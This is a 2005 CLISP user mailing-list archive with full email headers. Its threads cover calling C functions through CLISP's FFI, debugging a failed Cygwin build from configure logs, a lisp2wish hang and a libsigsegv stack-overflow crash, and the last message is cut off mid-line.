-> boolean >. >I can compile this code using gcc under cygwin (MS XP). > >How can I link this into a set of CLISP files which can be loaded to >add this functionality? > >Detail example desired. The file name is A_COM.c > >I would prefer not building a new CLISP memory image. > >Thanks >Eric Biefeld > > >------------------------------------------------------- >SF email is sponsored by - The IT Product Guide >Read honest & candid reviews on hundreds of IT Products from real users. >Discover which products truly live up to the hype. Start reading now. >http://ads.osdn.com/?ad_id=6595&alloc_id=14396&op=click >_______________________________________________ >clisp-list mailing list >clisp-list@lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/clisp-list > > > > From aneilbaboo@gmail.com Tue Mar 22 11:23:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDoyR-0001MH-5K for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 11:23:31 -0800 Received: from wproxy.gmail.com ([64.233.184.206]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DDoy5-0003yD-U9 for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 11:23:31 -0800 Received: by wproxy.gmail.com with SMTP id 68so1741231wri for ; Tue, 22 Mar 2005 11:23:03 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=KpgvtZSA2XfEdHt6Jo9e4oK+Wu/G2c/Vr9L3kxtks47vfcq7YFAbQtt+38dHCMj5bySwY63E2FghfWKQzpK7WhIoj3uQv33FnkyMyQnjU4vOrdZiZ1v34DB6qtVaEeG77DGleHaltynMiTQb+ZDV1S2OQPEMAfYyCrCTJUjQH7c= Received: by 10.54.100.14 with SMTP id x14mr12131wrb; Tue, 22 Mar 2005 11:23:02 -0800 (PST) Received: by 10.54.52.8 with HTTP; Tue, 22 Mar 2005 11:23:02 -0800 (PST) Message-ID: From: Aneil Mallavarapu Reply-To: Aneil Mallavarapu To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 11:23:55 2005 X-Original-Date: Tue, 22 Mar 2005 14:23:02 -0500 hi sam, I've posted the log at : http://mysite.verizon.net/vze3h476/clisp-log/log The error messages were not collected in the log. I copied what I could from the cygwin window, and saved it at: http://mysite.verizon.net/vze3h476/clisp-log/cygwin-window-dump.txt thanks, aneil On Tue, 22 Mar 2005 10:06:43 -0500, Sam Steingold wrote: > > I have never seen anything like this. > the error must be before that. > could you please do > $ uname -a > log > $ ./configure --build build 2>&1 >> log > > and post the URL of log here? > > thanks! > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > MS Windows vs IBM OS/2: Why marketing matters more than technology... > From sds@gnu.org Tue Mar 22 12:01:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDpYy-0003Uo-LC for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 12:01:16 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DDpYe-0007cv-Ud for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 12:01:16 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2MJwiWv025161; Tue, 22 Mar 2005 14:59:04 -0500 (EST) To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Aneil Mallavarapu's message of "Tue, 22 Mar 2005 14:23:02 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 12:01:37 2005 X-Original-Date: Tue, 22 Mar 2005 15:00:08 -0500 > * Aneil Mallavarapu [2005-03-22 14:23:02 -0500]: > > The error messages were not collected in the log. sorry. please try rm -rf build uname -a > clisp-build-log.txt ./configure --build build >> clisp-build-log.txt 2>&1 -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who don't know lisp are destined to reinvent it, poorly. From aneilbaboo@gmail.com Tue Mar 22 13:51:28 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDrHb-0000SV-V3 for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 13:51:27 -0800 Received: from wproxy.gmail.com ([64.233.184.198]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DDrHa-0000ke-CS for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 13:51:27 -0800 Received: by wproxy.gmail.com with SMTP id 68so1808569wri for ; Tue, 22 Mar 2005 13:51:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=ahmygFcTaTg36AnwR0yd1zSQt2H81uiDjtCO+flrkh1w8obs2U3d4xVaWfmHvIKh03E2Tptsa3u0W7P5Yd8kpb/DjQETys9Gvg0ya1yjJ+Ncn6DU1Y0Euqf2d+LqAhKbh7g9pHkMbLM8WOpspqj4VYkH7QnlCqx2ufze0L5t+Ys= Received: by 10.54.7.38 with SMTP id 38mr2794745wrg; Tue, 22 Mar 2005 13:51:19 -0800 (PST) Received: by 10.54.52.8 with HTTP; Tue, 22 Mar 2005 13:51:19 -0800 (PST) Message-ID: From: Aneil Mallavarapu Reply-To: Aneil Mallavarapu To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 13:51:50 2005 X-Original-Date: Tue, 22 Mar 2005 16:51:19 -0500 thanks sam, that worked. the log is at http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.txt The line "./comment5 spvw.d | ./gctrigger | ./varbrace > spvw.c" appears just before what seems to be the first error message: "Opening brace '{' in line 466: #if (defined(MULTITHREAD" aneil On Tue, 22 Mar 2005 14:23:02 -0500, Aneil Mallavarapu wrote: > hi sam, > I've posted the log at : > http://mysite.verizon.net/vze3h476/clisp-log/log > > The error messages were not collected in the log. I copied what > I could from the cygwin window, and saved it at: > > http://mysite.verizon.net/vze3h476/clisp-log/cygwin-window-dump.txt > thanks, > aneil > On Tue, 22 Mar 2005 10:06:43 -0500, Sam Steingold wrote: > > > > I have never seen anything like this. > > the error must be before that. > > could you please do > > $ uname -a > log > > $ ./configure --build build 2>&1 >> log > > > > and post the URL of log here? > > > > thanks! > > > > -- > > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > > > MS Windows vs IBM OS/2: Why marketing matters more than technology... > > > From aneilbaboo@gmail.com Tue Mar 22 13:56:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDrMo-0000mu-Ih for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 13:56:50 -0800 Received: from wproxy.gmail.com ([64.233.184.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DDrMU-0003AG-UP for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 13:56:50 -0800 Received: by wproxy.gmail.com with SMTP id 68so1810880wri for ; Tue, 22 Mar 2005 13:56:24 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=c+Bg3s4PnahyQGJwIRdFf5eUlcMoqRkXBihLz0OJmqmEB89RLmOrJBQfe/14dJrPglEiBvmEm9/jI0pxsO5pUUgAVEA9ECH3WWT4pUPRrs92YZ0led+gooIhKPz0hsjQ+El7v0NsApmfsIJTa8s3p850iMbs6ZHX/B5oiUbFJvM= Received: by 10.54.23.69 with SMTP id 69mr1679153wrw; Tue, 22 Mar 2005 13:56:24 -0800 (PST) Received: by 10.54.52.8 with HTTP; Tue, 22 Mar 2005 13:56:24 -0800 (PST) Message-ID: From: Aneil Mallavarapu Reply-To: Aneil Mallavarapu To: clisp-list@lists.sourceforge.net In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 13:57:09 2005 X-Original-Date: Tue, 22 Mar 2005 16:56:24 -0500 ahh...one clue might be that the machine I'm running is an intel hyperthreading processor. I'll try compiling on my other machine and report back. (though, I've had build errors on the other machine too). Aneil On Tue, 22 Mar 2005 16:51:19 -0500, Aneil Mallavarapu wrote: > thanks sam, > that worked. the log is at > http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.txt > > The line "./comment5 spvw.d | ./gctrigger | ./varbrace > spvw.c" > appears just before what seems to be the first error message: > "Opening brace '{' in line 466: #if (defined(MULTITHREAD" > > aneil > > > On Tue, 22 Mar 2005 14:23:02 -0500, Aneil Mallavarapu > wrote: > > hi sam, > > I've posted the log at : > > http://mysite.verizon.net/vze3h476/clisp-log/log > > > > The error messages were not collected in the log. I copied what > > I could from the cygwin window, and saved it at: > > > > http://mysite.verizon.net/vze3h476/clisp-log/cygwin-window-dump.txt > > thanks, > > aneil > > On Tue, 22 Mar 2005 10:06:43 -0500, Sam Steingold wrote: > > > > > > I have never seen anything like this. > > > the error must be before that. > > > could you please do > > > $ uname -a > log > > > $ ./configure --build build 2>&1 >> log > > > > > > and post the URL of log here? > > > > > > thanks! > > > > > > -- > > > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > > > > > > MS Windows vs IBM OS/2: Why marketing matters more than technology... > > > > > > From sds@gnu.org Tue Mar 22 14:42:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDs4u-0003Cu-NJ for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 14:42:24 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DDs4a-0005P3-Ua for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 14:42:24 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2MMdMNT013618; Tue, 22 Mar 2005 17:39:47 -0500 (EST) To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Aneil Mallavarapu's message of "Tue, 22 Mar 2005 16:51:19 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 14:42:46 2005 X-Original-Date: Tue, 22 Mar 2005 17:40:46 -0500 > * Aneil Mallavarapu [2005-03-22 16:51:19 -0500]: > > http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.txt for some reason varbrace does not see "spvw.d:472:#endif". please do "rm -f spvw.d; cvs up spvw.d". look at spvw.d:472, make sure there is an "#endif" there. -- Sam Steingold (http://www.podval.org/~sds) running w2k Yeah, yeah, I love cats too... wanna trade recipes? From aneilbaboo@gmail.com Tue Mar 22 14:43:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDs5s-0003Eb-33 for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 14:43:24 -0800 Received: from wproxy.gmail.com ([64.233.184.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DDs5Z-0007Ko-An for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 14:43:24 -0800 Received: by wproxy.gmail.com with SMTP id 68so1835796wri for ; Tue, 22 Mar 2005 14:42:57 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=VUuBikGqg4idbXACOux2Uy1l0OmGNeb7K+0CqHulqe6lcUPgfuvXYjRh10N6PGmQ8i6KiCw/rlTZjzlrfuI3QycfWw7dGxIXYYn59bNzY+plI6g2qqC0Ia9FScZZjIZqUzFYtFg7KrYjjM2jR36QcnZr416Bd1qjAXX9+WH1iVw= Received: by 10.54.96.17 with SMTP id t17mr15755wrb; Tue, 22 Mar 2005 14:42:57 -0800 (PST) Received: by 10.54.52.8 with HTTP; Tue, 22 Mar 2005 14:42:57 -0800 (PST) Message-ID: From: Aneil Mallavarapu Reply-To: Aneil Mallavarapu To: clisp-list@lists.sourceforge.net, Aneil Mallavarapu In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: metaclass hash bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 14:43:49 2005 X-Original-Date: Tue, 22 Mar 2005 17:42:57 -0500 hi sam, i realized that the clisp-build-log.txt file didn't transfer completely (i maxed out my web account space limit). i've zipped the configure logs (~8.3Mb each, uncompressed) from builds on a hyperthreading and a non-hyperthreading machine (see notes.txt in the zip): http://mysite.verizon.net/vze3h476/clisp-log/clisp-build-log.zip the point at which the errors begin looks the same in both files: ./comment5 spvw.d | ./gctrigger | ./varbrace > spvw.c Opening brace '{' in line 466: #if (defined(MULTITHREAD )) && (defined(MICROSOFT) && !defined(UNICODE) aneil On Tue, 22 Mar 2005 15:00:08 -0500, Sam Steingold wrote: > > * Aneil Mallavarapu [2005-03-22 14:23:02 -0500]: > > > > The error messages were not collected in the log. > > sorry. > please try > > rm -rf build > uname -a > clisp-build-log.txt > ./configure --build build >> clisp-build-log.txt 2>&1 > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Those who don't know lisp are destined to reinvent it, poorly. > From sds@gnu.org Tue Mar 22 14:48:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDsB5-0003XP-7T for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 14:48:47 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DDsB2-0005sr-2F for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 14:48:46 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2MMkfed014212; Tue, 22 Mar 2005 17:46:41 -0500 (EST) To: clisp-list@lists.sourceforge.net, ebiefeld@cmu.edu Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Eric Biefeld's message of "Mon, 21 Mar 2005 19:57:34 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, ebiefeld@cmu.edu Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 14:49:08 2005 X-Original-Date: Tue, 22 Mar 2005 17:48:05 -0500 cvs head: (defpackage "MY-PACK" (:modern t) (:use "COMMON-LISP" "FFI")) (in-package "MY-PACK") (ffi:default-foreign-language :stdc) ;; compile your C code into a shared library: (defvar *my-lib* "foo.dll") > * Eric Biefeld [2005-03-21 19:57:34 -0500]: > > A_connect (string, int)-> bollean (def-call-out A_connect (:arguments (s c-string) (n int)) (:return-type boolean) (:library *my-lib*)) > A_send (string)->boolean (def-call-out A_send (:arguments (s c-string)) (:return-type boolean) (:library *my-lib*)) > A_receive () _> string. Empty string if nothing is pending. (def-call-out A_receive (:arguments) (:return-type c-string) (:library *my-lib*)) > A_disconnect () -> boolean (def-call-out A_disconnect (:arguments) (:return-type boolean) (:library *my-lib*)) > How can I link this into a set of CLISP files which can be loaded to > add this functionality? save the above code into a lisp file, compile it, and load the *fas* file. read and look for docs on all above forms. -- Sam Steingold (http://www.podval.org/~sds) running w2k Linux - find out what you've been missing while you've been rebooting Windows. From kavenchuk@jenty.by Tue Mar 22 23:52:35 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DE0fL-0003Nm-8O for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 23:52:35 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DE0fI-0000gt-DI for clisp-list@lists.sourceforge.net; Tue, 22 Mar 2005 23:52:35 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id GZHLGGLH; Wed, 23 Mar 2005 09:55:23 +0200 Message-ID: <42412068.5050504@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] problem with lisp2wish Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Mar 22 23:53:02 2005 X-Original-Date: Wed, 23 Mar 2005 09:53:12 +0200 (I try to send 3-rd time, I am sorry if you receive all) clisp from CVS head (build on mingw), win2k. ActiveTcl 8.4.9 lisp2wish (lisp2wish-2004-01-31.tgz from cliki) [3]> (wish::test-wish) Handshaking ... ok. Initializing ... done. Listening: Also hangs. Wish it is started, display a window with buttons and too hangs. Somebody knows in what the reason? -- WBR, Yaroslav Kavenchuk. From edi@agharta.de Wed Mar 23 06:06:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DE6Uh-0000l8-QI for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 06:05:59 -0800 Received: from ns.agharta.de ([62.159.208.90] helo=miles.agharta.de ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DE6Ug-0005A2-2M for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 06:05:59 -0800 Received: from GROUCHO (trane.agharta.de [62.159.208.82]) by miles.agharta.de (Postfix) with ESMTP id 3EF5C2CC047; Wed, 23 Mar 2005 15:05:52 +0100 (CET) To: Yaroslav Kavenchuk Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with lisp2wish References: <42401AD3.3020109@jenty.by> From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: <42401AD3.3020109@jenty.by> (Yaroslav Kavenchuk's message of "Tue, 22 Mar 2005 15:17:07 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 23 06:06:51 2005 X-Original-Date: Wed, 23 Mar 2005 15:05:51 +0100 On Tue, 22 Mar 2005 15:17:07 +0200, Yaroslav Kavenchuk wrote: > clisp from CVS head (build on mingw), win2k. > ActiveTcl 8.4.9 > lisp2wish (lisp2wish-2004-01-31.tgz from cliki) > > [3]> (wish::test-wish) > Handshaking ... ok. > Initializing ... done. > Listening: > > Also hangs. Wish it is started, display a window with buttons and > too hangs. > > Somebody knows in what the reason? See last paragraph of this message: Maybe your problem is related. Cheers, Edi. From e@flavors.com Wed Mar 23 08:10:54 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DE8Ra-0003Pm-EW for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 08:10:54 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DE8RW-0006ze-T2 for clisp-list@lists.sourceforge.net; Wed, 23 Mar 2005 08:10:54 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Wed, 23 Mar 2005 11:10:44 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <932799917.20050323111041@flavors.com> To: clisp-list@lists.sourceforge.net CC: Bruno Haible In-Reply-To: <83800140.20050322190336@flavors.com> References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] crash on cl-bench's (ackermann 3 11) with libsigsegv 2.2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Mar 23 08:12:07 2005 X-Original-Date: Wed, 23 Mar 2005 11:10:41 -0500 [This picks up a thread started with Bruno re: libsigsegv 2.2 -- the problems are (a) stack overflow when there is plenty of memory, and (b) an Access Violation crash on the 2nd stack overflow.] I tried getting more info by running a debug version of CLISP built with ./configure --with-debug --with-mingw --build build-g ; but built this way, there is no crash, but the stack doesn't grow enough to compute (ackermann 3 11). On the other hand, I got a strange error, as you can see in the console dribble below EVAL: variable L has no value in the evaluation of (run-ackermann). It looks like the GENERATIONAL_GC is not used in the debug version; perhaps this is a clue. e $ uname -a MINGW32_NT-5.1 DAWNE 1.0.11(0.46/3/2) 2004-04-30 18:55 i686 unknown $ ./clisp --version GNU CLISP 2.33.83 (2005-03-14) (built 